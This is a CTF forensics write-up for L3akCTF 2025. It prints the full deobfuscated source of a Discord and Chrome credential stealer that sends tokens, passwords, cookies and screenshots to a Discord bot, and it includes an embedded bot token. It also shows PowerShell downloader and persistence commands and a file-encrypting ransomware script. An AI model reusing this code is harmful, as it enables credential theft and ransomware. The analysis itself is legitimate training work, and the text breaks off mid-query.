L3akCTF 2025 (Post Mortem) | Full Forensics

L3akCTF 2025 (Post Mortem) | Full Forensics

Rating weight: 24.43
Event organizers: L3ak

alt text

forensics/BOMbardino crocodile

alt text

Information Gathering

Within the file given we found a .eml extension, with an email conversation between bluecrustacean@proton.me and notwarlocksmurf@proton.me, the content was in base64 encoded with the following content:

Greetings, Operative.
Your activity has not gone unnoticed. The time has come to proceed to the next level. Brotherhood protocols demand absolute discretion.

🕶️ As of 0400 hours, access has been provisioned.

📩 Secure your invite:
👉 https://discord.gg/a7SUtZXaP4

Inside you will find leaks of people dumb enough to click on our brainrot exam.

🔒 Reminder: Do NOT share this link. Operatives who leak will be exiled. Again.

Stay cloaked. Stay corrupt.

Inside the discord server lobsterl3aks is found, with an operative discord webhook sharing Info-Stealer data:

alt text

Stage 1 - Lil L3ak Secret.bat

Although, password.zip is empty on both leaks so only we have a file-system compressed and two png encoded files. Inside Downloads folder from the user crustacean we found a Windows Batch File with the following content:

alt text

By inserting the file into VirusTotal it is detected as a trojan:

After stripping the BOM and removing unusefull commands, we get the following stage of the malware.

start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"

Stage 2 - temp.bat

Going to the temp path from the user: C:\Users\crustacean\AppData\Local\Temp, we continue with another BOM batch file, repeating the same process as above:

start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit

Stage 3 - leak.py & RC4 Decrypt

This scripts downloads an archive to execute leak.py located in: C:\Users\Public\Document\Lib\leak.py:

_ = lambda __ : __import__('base64').b64decode(__[::-1]);
exec(\
  (_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWYiVUMM90VxUlVYJkVWJjRwImVONjWHhXaRJjU1Z1MjBTYwUTYTtmUqRleGJXVr...'))

Manually I inverted the base64 string and decode it, 3 times in a row, to obtain the following python code:

import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO

intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)

def scale(bytes, suffix="B"):
    defined = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < defined:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= defined

uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)

publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()

roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")

Directories = {
        'Discord': roaming + '\\Discord',
        'Discord Two': roaming + '\\discord',
        'Discord Canary': roaming + '\\Discordcanary',
        'Discord Canary Two': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}

def Yoink(Directory):
    Directory += '\\Local Storage\\leveldb'
    Tokens = []

    for FileName in os.listdir(Directory):
        if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for Token in re.findall(regex, line):
                    Tokens.append(Token)

    return Tokens

def Wipe():
    if os.path.exists(roaming + "temp.txt"):
      output2 = open(roaming + "temp.txt", "w")
      output2.write("")
      output2.close()
    else:
      pass

realshit = ""
for Discord, Directory in Directories.items():
    if os.path.exists(Directory):
        Tokens = Yoink(Directory)
        if len(Tokens) > 0:
            for Token in Tokens:
                realshit += f"{Token}\n"

cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()

partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
    try:
        partition_usage = psutil.disk_usage(partition.mountpoint)
        break
    except PermissionError:
        continue

system_info = {
    "embeds": [
        {
            "title": f"Hah Gottem! - {host}",
            "color": 8781568
        },
        {
            "color": 7506394,
            "fields": [
                {
                    "name": "GeoLocation",
                    "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
                }
            ]
        },
        {
            "fields": [
                {
                    "name": "System Information",
                    "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
                }
            ]
        },
        {
            "color": 15109662,
            "fields": [
                {
                    "name": "CPU Information",
                    "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
                },
                {
                    "name": "Memory Information",
                    "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
                },
                {
                    "name": "Disk Information",
                    "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
                },
                {
                    "name": "Network Information",
                    "value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
                }
            ]
        },
        {
            "color": 7440378,
            "fields": [
                {
                    "name": "Discord information",
                    "value": f"Token: {realshit}"
                }
            ]
        }
    ]
}

DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']

def sniff(path):
    path += '\\Local Storage\\leveldb'

    tokens = []
    try:
        for file_name in os.listdir(path):
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                continue

            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)
        return tokens
    except:
        pass


def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)


def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)


def rcipher(key):
    cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
    return cipher


def dpapi(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result


def localdata():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]


def decryptions(encrypted_txt):
    encoded_key = localdata()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = rcipher(key)
    return decrypt(cipher, encrypted_txt[15:], nonce)


class chrome:
    def __init__(self):
        self.passwordList = []

    def chromedb(self):
        _full_path = os.path.join(ADP, DBP)
        _temp_path = os.path.join(ADP, 'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path, _temp_path)
        self.pwsd(_temp_path)
        
    def pwsd(self, db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.cdecrypt(row[2])
            _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def cdecrypt(self, encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = decryptions(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            pass

    def saved(self):
        try:
            with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
                f.writelines(self.passwordList)
        except WindowsError:
            return None

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')
    
    channel = bot.get_channel(CHANNEL_ID)
    if not channel:
        print(f"Could not find channel with ID: {CHANNEL_ID}")
        return
    
    main = chrome()
    try:
        main.chromedb()
    except Exception as e:
        print(f"Error getting Chrome passwords: {e}")
    main.saved()
    
    await exfiltrate_data(channel)
    
    await bot.close()

async def exfiltrate_data(channel):
    try:
        hostname = requests.get("https://ipinfo.io/ip").text
    except:
        hostname = "Unknown"
    
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }

    message = '\n'
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += '```'
        tokens = sniff(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            pass
        message += '```'

    try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

    except Exception as e:
        print(f"Error taking screenshot: {e}")

    try:
        zname = r'C:\ProgramData\passwords.zip'
        newzip = zipfile.ZipFile(zname, 'w')
        newzip.write(r'C:\ProgramData\passwords.txt')
        newzip.close()
        
        await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
    except Exception as e:
        print(f"Error with password file: {e}")

    try:
        usr = os.getenv("UserName")
        keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
        types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
    except Exception as e:
        print(f"Error getting system info: {e}")
        usr = "Unknown"
        keys = "Unknown"
        types = "Unknown"

    cookie = [".ROBLOSECURITY"]
    cookies = []
    limit = 2000
    roblox = "No Roblox cookies found"

    try:
        cookies.extend(list(steal.chrome()))
    except Exception as e:
        print(f"Error stealing Chrome cookies: {e}")

    try:
        cookies.extend(list(steal.firefox()))
    except Exception as e:
        print(f"Error stealing Firefox cookies: {e}")

    try:
        for y in cookie:
            send = str([str(x) for x in cookies if y in str(x)])
            chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
            for z in chunks:
                roblox = f'```{z}```'
    except Exception as e:
        print(f"Error processing cookies: {e}")

    embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
    embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
    embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
    embed.add_field(name="Tokens", value=message[:1024], inline=False)
    
    await channel.send(embed=embed)
    
    with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
        json.dump(system_info, f, indent=4, ensure_ascii=False)
    
    await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))

    try:
        os.remove(r'C:\ProgramData\pay2winflag.jpg')
        os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
        os.remove(r'C:\ProgramData\passwords.zip')
        os.remove(r'C:\ProgramData\passwords.txt')
        os.remove(r'C:\ProgramData\system_info.json')
    except Exception as e:
        print(f"Error cleaning up: {e}")

BOT_TOKEN = "MTM2NDIzNDEzNjE5MzMzOTQyNA.GHC4yD.ZUzwkrAEMW9GlLsmVnP7FbdY317MqM234Bd2vE"
CHANNEL_ID = 1371505369230344273

if __name__ == "__main__":
    bot.run(BOT_TOKEN)

Reviewing other writeups I wanted to mention the following cyberchef script from oxygen28

Label('top')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Reverse('Character')
From_Base64('A-Za-z0-9+/=',true,false)
Conditional_Jump('psutil',true,'top',100)

At first glance, it seems to be a Stealer, mainly for discord tokens and browsers data, and as we said before it is send to the discord webhook/discord bot.

Also we found the RC4 key for the images encrypted in the discord channel:

from PIL import ImageGrab
from Crypto.Cipher import ARC4
screenshot = ImageGrab.grab()
screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
screenshot.save(screenshot_path)

with open(screenshot_path, 'rb') as f:
  image_data = f.read()

key = b'tralalero_tralala'
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(image_data)

encrypted_path = screenshot_path + '.enc'
with open(encrypted_path, 'wb') as f:
  f.write(encrypted_data)

await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

With the key: tralalero_tralala we obtain the second part of the flag:

alt text

Stage 4 - Batch Persistence

After all, I keep searching for others persistencies methods finding another Batch File in AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/, stripping it we obtain a powershell script with Stacked Strings.

Later, by playing with the variables name and being cautelous we find the first part of the flag completting the challenge:

start /min powershell.exe -WindowStyleHidden -Command "C:\Users\Public\Document\python C:\Users\Public\Document\Lib\leak.py"

Final Flag:

L3AK{Br4d0_st34L3r_0r_br41nr0t}

forensics/Ghost In The Dark

alt text

Information Gathering

We have given a DOS/MBR file:

GhostInTheDark.001: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 “Invalid partition table” at offset 0x17b “Error loading operating system” at offset 0x19a “Missing operating system”, disk signature 0xf6a155; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0xb,254,63), startsector 128, 198656 sectors

By extracting the content of the file, with 7zip, we observe some hidden content and ransomware notes:

Directory of C:\L3akCTF\NTFS

07/16/2025  03:31 PM    <DIR>          .
07/16/2025  03:31 PM    <DIR>          ..
06/27/2025  05:49 AM                48 flag.enc
06/27/2025  05:48 AM             2,074 payload.enc
06/27/2025  05:49 AM               240 ransom_note.txt
06/27/2025  05:49 AM           241,632 RIP_PuppyJaws.enc
06/27/2025  05:42 AM    <DIR>          System Volume Information
06/27/2025  05:49 AM               432 trip_itinerary.enc
06/27/2025  05:50 AM    <DIR>          [SYSTEM]
               5 File(s)        244,426 bytes
               4 Dir(s)  376,262,365,184 bytes free

The ransom note was:

i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)

MFT Viewer & Decrypting

As we have inside [SYSTEM] folder an $MFT file, grab it into Eric Zimmerman Tools, MFT Explorer v2.1.0 to download the deleted file loader.ps1 that is mentioned in ransom_note.txt.

alt text

Here a brief demostration of the code:

$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)

Invoke-Expression $script

Remove-Item $MyInvocation.MyCommand.Path

With the following CyberChef Recipe:

From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'0123456789abcdef'},{'option':'UTF8','string':'abcdef9876543210'},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})

The next stage is obtained:

$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

## Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)

## Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
    $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}

foreach ($file in $files) {
    $plaintext = Get-Content $file.FullName -Raw
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
    Remove-Item $file.FullName
}

## Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8

## Self-delete
Remove-Item $MyInvocation.MyCommand.Path

Same process than before and the flag will be given:

alt text

forensics/Wi-Fight A Ghost?

alt text

Question Index

This challenge format remembers me to Sherlocks from HackTheBox, the next 14 questions are given:

Welcome to the Ghost Hunt Terminal. Answer all questions to reveal the final flag.
Type 'exit' at any prompt to quit.

Unanswered Questions:
1. What was the ComputerName of the device?
2. What was the SSID of the first Wi-Fi network they connected to?
3. When did they obtain the DHCP lease at the first café?
4. What IP address was assigned at the first café?
5. What GitHub page did they visit at the first café?
6. What did they download at the first café?
7. What was the name of the notes file?
8. What are the contents of the notes?
9. What was the SSID of the second Wi-=Fi network they connected to?
10. When did they obtain the second lease?
11. What was the IP address assigned at the second café?
12. What website did they log into at the second café?
13. What was the MAC address of the Wi-Fi adapter used?
14. What city did this take place in?

The file provided is a KAPEOUT from Kroll Artifact Parser and Extractor, this information could be useful in a future if is needed. Anyways I would use FTK Imager to parse the filesystem folder, this is not necesary, you can use you file browser, autopsy or any tool, I use it for convenience and to detect unallocated space inside the folder.

Question 1

As they are asking for the computer’s name, export C:\Windows\System32\config\SYSTEM file and open it with Registry Explorer:

alt text

First flag: 99PHOENIXDOWNS

Question 2, 3, 4

Then, they ask us for the SSID of the first Wi-Fi network they connected to and what ip they have given and when.

For the SSID Name we can go to the file: `C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces{2b….}.xml'

  <?xml version="1.0" ?> 
- <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
  <name>mugs_guest_5G</name> 
- <SSIDConfig>
- <SSID>
  <hex>6D7567735F67756573745F3547</hex> 
  <name>mugs_guest_5G</name> 
  </SSID>
  </SSIDConfig>
  <connectionType>ESS</connectionType> 
  <connectionMode>auto</connectionMode> 
- <MSM>
- <security>
- <authEncryption>
  <authentication>WPA3SAE</authentication> 
  <encryption>AES</encryption> 
  <useOneX>false</useOneX> 
  <transitionMode xmlns="http://www.microsoft.com/networking/WLAN/profile/v4">true</transitionMode> 
  </authEncryption>
- <sharedKey>
  <keyType>passPhrase</keyType> 
  <protected>true</protected> 
  <keyMaterial>01000000D08C9DDF0115D1118C7A00C04FC297EB0100000027BA46BE60165F489902447DADDD376400000000020000000000106600000001000020000000B71A769EE992B83996ACA0EA2DDBD36FB687258C5F465FE82B76A88162AFD186000000000E800000000200002000000053332437AB2888DBDBE294DAA0FEB07172871F6D1C20F0EEB1A9C0F03A4440711000000070C4F37EE924D6D41E9FB19BF319753240000000F85ABD2CD15A0FDBE8BA653A75ADEF9A2CCEAA6E9D61E34D4ACB7D29A072EEEAEA84905134174A5C59BAFFE042869B18D07D4B3AA9E4329945235F59A46F7B98</keyMaterial> 
  </sharedKey>
  </security>
  </MSM>
- <MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
  <enableRandomization>false</enableRandomization> 
  <randomizationSeed>2081371451</randomizationSeed> 
  </MacRandomization>
  </WLANProfile>

Question 2: mugs_guest_5G Question 3: 2025–05–14 00:13:36 Question 4: 192.168.0.114

Question 5

Then they ask us in which github page the user had visit, examining google data we didn’t find nothing, so we change to Microsoft Edge Brower, in the database: WebAssistDatabase we found a github link inside navigation_history from the challenge creator:

SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.

sqlite> .tables
meta                navigation_history  product_entities

sqlite> select * from navigation_history;
https://www.microsoft.com/en-us/edge/welcome?form=MT00LJ&cs=1648135533|0|Welcome to Microsoft Edge|microsoft edg ha built tool like collect vertic tab tab group help stay organ make most time onlin|1747181849|1||en-us|welcom microsoft edg|microsoft en us edg welcom form mt00lj cs 1648135533|
https://www.bing.com/search?q=github+bluebook+dfir&form=ANNTH1&refig=E4BD7BF5AF5349AA8C918F800EA52604&pc=HCTS|1|bing.com/ck/a?!&&p=6032033d1823286c3727e6d59862d57f8043f6d6885fadbf842b8196e2564e1dJmltdHM9MTc0NzA5NDQwMA&ptn=3&ver=2&hsh=4&fclid=34284d37-d743-6138-28ef-58dbd69a606a&psq=github+bluebook+dfir&u=a1aHR0cHM6Ly9naXRodWIuY29tL2RiaXNzZWxsNi9ERklSL2Jsb2IvbWFpbi9CbHVlX0Jvb2svQmx1ZV9Cb29rLm1k&ntb=1||1747181908|2||en-us|bing ck p 6032033d1823286c3727e6d59862d57f8043f6d6885fadbf842b8196e2564e1djmltdhm9mtc0nza5ndqwma ptn 3 ver 2 hsh 4 fclid 34284d37 d743 6138 28ef 58dbd69a606a psq github bluebook dfir u a1ahr0chm6ly9naxrodwiuy29tl2riaxnzzwxsni9erklsl2jsb2ivbwfpbi9cbhvlx0jvb2svqmx1zv9cb29rlm1k ntb 1|bing search q github bluebook dfir form annth1 refig e4bd7bf5af5349aa8c918f800ea52604 pc hct|
https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md|2|DFIR/Blue_Book/Blue_Book.md at main · dbissell6/DFIR · GitHub|repository dedic dfir journey contain note reflect link tool dfir blue book blue book md main · dbissell6 dfir|1747181910|1||en-us|dfir blue book blue book md main · dbissell6 dfir · github|github dbissell6 dfir blob main blue book blue book md|
https://www.bing.com/search?q=chrome&form=ANNTH1&refig=0c58b2eace5a44aa9643b851ef4da6c8&pc=HCTS|3|chrome - Search||1747181932|1||en-us|chrome search|bing search q chrome form annth1 refig 0c58b2eace5a44aa9643b851ef4da6c8 pc hct|
https://www.google.com/chrome/|4|Google Chrome - The Fast & Secure Web Browser Built to be Yours|chrome offici web browser googl built be fast secur customiz download now make|1747181941|1||en-us|googl chrome fast secur web browser built be|googl chrome|

Question 5: https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md

Question 6

As the user is using Edge we continue searching on its registers to find what he has downloaded, in this browser, inside the database History there is a table donwloads with a google chrome executable:

sqlite> select * from downloads;
1|6fc1b9e3-29d3-4aac-8f0a-aad6571bbb06|C:\Users\NotVi\Downloads\ChromeSetup.exe|C:\Users\NotVi\Downloads\ChromeSetup.exe|13391655568733432|11457408|11457408|1|4|0||13391655570880822|1|13391655592889413|0|https://www.google.com/||

|https://www.google.com/chrome/|https://www.bing.com/|||||"43b5019-034854fd"|Mon, 12 May 2025 14:46:08 GMT|application/x-msdownload|application/x-msdos-program

Question 6: ChromeSetup.exe

Question 7, 8

Then, the challenge ask us about the name of a note file and its content, by going to the windows/recent path we are able to see what files have been opening throught the last time, there we found a .lnk file to the original txt:

C:\Users\NotVi\OneDrive\Desktop\HowToHackTheWorld.txt

For the Question 8 you need to open MFT Explorer from Eric Zimmerman and obtain the content of the file, being: Practice and take good notes.

Question 7: HowToHackTheWorld.txt Question 8: Practice and take good notes.

Question 9, 10, 11

The next 3 questions are the same method than before, so I will post only the answer and continue to Q12, Q13 and Q14:

Question 9: AlleyCat

Question 10: 2025–05–14 00:35:07

Question 11: 10.0.6.28

Question 12

Later they ask about the webpage visited in the AlleyCat Wifi, as we know that he has download Google Chrome we dig into the History database and we find that they enter to l3ak.team

SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.

sqlite> .tables
cluster_keywords          downloads                 segment_usage
cluster_visit_duplicates  downloads_slices          segments
clusters                  downloads_url_chains      urls
clusters_and_visits       history_sync_metadata     visit_source
content_annotations       keyword_search_terms      visited_links
context_annotations       meta                      visits

sqlite> select * from urls;
1|https://www.google.com/search?q=l3ak+ctf&oq=l3ak&gs_lcrp=EgZjaHJvbWUqBwgBEAAYgAQyBggAEEUYOTIHCAEQABiABDIMCAIQABgKGLEDGIAEMgwIAxAAGAoYsQMYgAQyDAgEEC4YChixAxiABDIMCAUQABgKGLEDGIAEMhIIBhAAGAoYgwEYsQMYgAQYigUyDAgHEAAYChixAxiABDIMCAgQABgKGLEDGIAEMgkICRAAGAoYgATSAQk0MzE3ajBqMTWoAgiwAgHxBSnkh66f1-618QUp5Ieun9futQ&sourceid=chrome&ie=UTF-8|l3ak ctf - Google Search|1|0|13391656568001915|0
